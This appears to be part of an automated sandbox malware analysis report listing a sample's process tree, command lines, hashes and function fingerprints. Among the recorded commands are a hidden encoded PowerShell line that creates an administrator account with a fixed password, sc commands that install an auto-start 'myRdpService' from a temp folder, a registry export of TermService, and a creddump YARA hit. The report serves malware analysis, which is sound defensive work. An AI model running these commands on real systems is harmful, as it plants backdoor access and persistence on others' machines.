Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7920, Parent PID: 7984

General

Target ID:	31
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:59:46
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:59:47
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1932, Parent PID: 3336

General

Target ID:	37
Start time:	06:59:47
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:59:47
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff697e00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff6019b0000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:59:55
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff640460000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002D.00000002.4694671593.00007FF640966000.00000004.00000001.01000000.0000000A.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:00:02
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff6d04b0000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:00:02
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:00:02
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:00:03
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff6f9d80000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:00:04
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ee210000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	07:00:07
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	07:00:07
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	07:00:07
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:00:08
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	07:00:08
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFB4EE133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3137466842.00007FFB4EE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4ee10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction ID: 704748beccb91795e404a286ac45f6be3f5a2c72cbcb32cd7664afc8fa73fcd5
Opcode Fuzzy Hash: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction Fuzzy Hash: 9401A77110CB0D8FDB44EF0CE451AB9B3E0FB85320F10052EE58AC3251DA32E882CB45

Analysis Process: powershell.exePID: 6736, Parent PID: 1088COMMON

Executed Functions

Function 00007FFB4EE4F1C6 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbd5e1bdeed16a8bb84f179ae5d1418af0f3e5e3420c4e122f658621aa6db58f
Instruction ID: a85dded06c26354d07572e80115db63a17f54d2129fe27d3866855f22025eb30
Opcode Fuzzy Hash: bbd5e1bdeed16a8bb84f179ae5d1418af0f3e5e3420c4e122f658621aa6db58f
Instruction Fuzzy Hash: 16F1807090CA8E8FEBA8EF28D8457E937D1FF54310F04426AE84DC7291DB74A9458B82

Function 00007FFB4EE4FF72 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e2b2304936c9133fae46e469a078e4606f0cff1095dedb27b5d36e0d4d9782
Instruction ID: da39e081d788161814929b0606db8979d83cc42dabead4e26006624f484f1ff8
Opcode Fuzzy Hash: 55e2b2304936c9133fae46e469a078e4606f0cff1095dedb27b5d36e0d4d9782
Instruction Fuzzy Hash: 2CE1B370A0CA4E4FEBA9EF28C8557E977D1FF54310F04426EE84DC7295DE74A9448B82

Function 00007FFB4EE4B325 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca14aa5b9d1975e9dae8ebade819feef96ac319c28beed91d111b206f2da651d
Instruction ID: b762f430c24666bac8bbb11a63c38be163e9e7f376c3fd1514b6857018a0cd55
Opcode Fuzzy Hash: ca14aa5b9d1975e9dae8ebade819feef96ac319c28beed91d111b206f2da651d
Instruction Fuzzy Hash: 5031137180CB988FDB56DF68D8556E9BFF0EF52310F0841AFC089CB193CA64680ACB61

Function 00007FFB4F5B037F Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3475717912.00007FFB4F5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4f5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9b6d57861d336d64c990bf2308e65f145c4edc6b59113e19082508a4857617
Instruction ID: bf5c1c2d327e5e7019c76680ddaac606acb69078fd5773cbe55f55a8a4248953
Opcode Fuzzy Hash: 4f9b6d57861d336d64c990bf2308e65f145c4edc6b59113e19082508a4857617
Instruction Fuzzy Hash: F8C106B290EB860FE7A6EB7888556B57BD1EF92251B0800FBD49DC71D3EE189C45C341

Function 00007FFB4EE4FB86 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3afd5fec75f42e7236e46838eabb8d4c7e8c9cf0f097a9904f5a7e85525b2b0
Instruction ID: 38cab0243be32d8d2669585918358a57c08807e6beb194f92c1e590f3fde08dd
Opcode Fuzzy Hash: a3afd5fec75f42e7236e46838eabb8d4c7e8c9cf0f097a9904f5a7e85525b2b0
Instruction Fuzzy Hash: C2B1A27060CA894FEBA9EF28D8557E93BD1FF55310F14426EE84DC3292CB74A945CB82

Function 00007FFB4EF127E8 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3458202122.00007FFB4EF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ef10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7095980979966bf75afa56cac2043278fad6ccc471619a9336ee76055e9eb190
Instruction ID: d3b7aef2f370dde185a45aea7f77b9ab9a9333bcfd89f7c076986d4d7bceab22
Opcode Fuzzy Hash: 7095980979966bf75afa56cac2043278fad6ccc471619a9336ee76055e9eb190
Instruction Fuzzy Hash: BF31C762B0DA5D0FF7A9AAECA8516B8B3D2DF54620B5401BBD44EC31C6DD14ED009381

Function 00007FFB4EE4B658 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c726b7ec64e4f48f5fb0c18f34c22c7df945c3e6c2d373fbc03637f9db809baf
Instruction ID: b390f3e6287de14221cdf0e1b1ea257d6ac2aaca72dcdcc4305a675ac53a793e
Opcode Fuzzy Hash: c726b7ec64e4f48f5fb0c18f34c22c7df945c3e6c2d373fbc03637f9db809baf
Instruction Fuzzy Hash: 0231067190CA4C8FEB59EFA8D84A7F97BE0EB66321F04416FD049C3192CA746856CB51

Function 00007FFB4EE53018 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9b10867326545406f5a212b7243a5d93b4cde1bd26733d65592e1345d5c5c3
Instruction ID: f457bb9003f9ed47328f3f4ef32bf24810ed55e1ce9cc3d9d745216accfb03a8
Opcode Fuzzy Hash: ad9b10867326545406f5a212b7243a5d93b4cde1bd26733d65592e1345d5c5c3
Instruction Fuzzy Hash: 51210A7090CB4C8FDB59DFACD84A7E97BE0EB95321F04426FD048C3156DA746456CB91

Function 00007FFB4EF12818 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3458202122.00007FFB4EF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ef10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3470e700368c46779148909cf5331507d5d6d34efd5d6f6eddcf97455404720a
Instruction ID: 43ee1ffcb1c02805c58c6ea0fe6426435792f585a598d5e1421be61717082e8c
Opcode Fuzzy Hash: 3470e700368c46779148909cf5331507d5d6d34efd5d6f6eddcf97455404720a
Instruction Fuzzy Hash: 4B21EA62B0DE1D0FFBA5A6EDA8511B8F3C2DF58660B5401BBD44AC31C2DD08ED0183C1

Function 00007FFB4EE4F684 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31cede9ce5c4e592fbb1b8c81fbe32cf7c4a80198615bc06212b6c1d8fe91239
Instruction ID: baec8d08c42d77e51f654952debaed1fcf74b2b410a6f0972a5b1b3e99f4b30b
Opcode Fuzzy Hash: 31cede9ce5c4e592fbb1b8c81fbe32cf7c4a80198615bc06212b6c1d8fe91239
Instruction Fuzzy Hash: 3A313AB095C26E8EFBF8AF24DD0ABF93290FF01705F405139D84D86192CA783A45CB61

Function 00007FFB4EE5828D Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e273096a63c4963c1549dd32b2bd1968429de879b4e09d43e93ec1b5857a2a2
Instruction ID: e32eef73a9c683e8cc0e4cbf980fb8ecdfc2c00e0a0b5706e63b3a9dcf56a251
Opcode Fuzzy Hash: 9e273096a63c4963c1549dd32b2bd1968429de879b4e09d43e93ec1b5857a2a2
Instruction Fuzzy Hash: A711D69948E7C56ED38367785C605B27FE89E43225B084DFBE0D8CA1A7D488099AC35B

Function 00007FFB4F5B0670 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3475717912.00007FFB4F5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4f5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1963c48da6472db2978d233d8a143eaccae880040a704f009b8505c48f9f14b4
Instruction ID: bdd447bb3afcbe39d95214f7e06490bb0f70310ec3e58689d60210aa8fd12e57
Opcode Fuzzy Hash: 1963c48da6472db2978d233d8a143eaccae880040a704f009b8505c48f9f14b4
Instruction Fuzzy Hash: C301DBD390EAD61BF6A5BEB8589B1746FD0EF9119171800FAE498CB1D3ED091C414381

Function 00007FFB4EE437B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction ID: b0865edb844016ffef9a0d00a64f24df8086ce4514e4bedd25ad28de07e5d643
Opcode Fuzzy Hash: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction Fuzzy Hash: 2301677115CB0D8FD744EF0CE451ABAB7E0FB95324F10056EE58AC3651DA36E892CB45

Function 00007FFB4EE52E58 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7c0b69d21e9983440825957a002f5ad2ca62141df1d7374d5c83cb7d116320
Instruction ID: 63331a35c807056de70ca87d81904aade71b937a76fd9c39b3c7ab420d4e7939
Opcode Fuzzy Hash: 3a7c0b69d21e9983440825957a002f5ad2ca62141df1d7374d5c83cb7d116320
Instruction Fuzzy Hash: 41F024708086894FDB46AF68880A5D57FA0FF2A210F050297E458C71A2DF64A459CBD2

Function 00007FFB4EE5588D Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f662dbe4b2448f42701def6d62c5a74b530d72585888b69915970e619b21e0d
Instruction ID: de217e8e360df77002a639b84bfb82bf3649bf750d6c2563993034e361cd532d
Opcode Fuzzy Hash: 5f662dbe4b2448f42701def6d62c5a74b530d72585888b69915970e619b21e0d
Instruction Fuzzy Hash: 20C012B3A4C528496688B698FE030FC73A0FA82130E100037D24A8140AAA16202B0A8A

Non-executed Functions

Function 00007FFB4EE51660 Relevance: 5.3, Strings: 4, Instructions: 286COMMON

Download Yara Rule

Strings

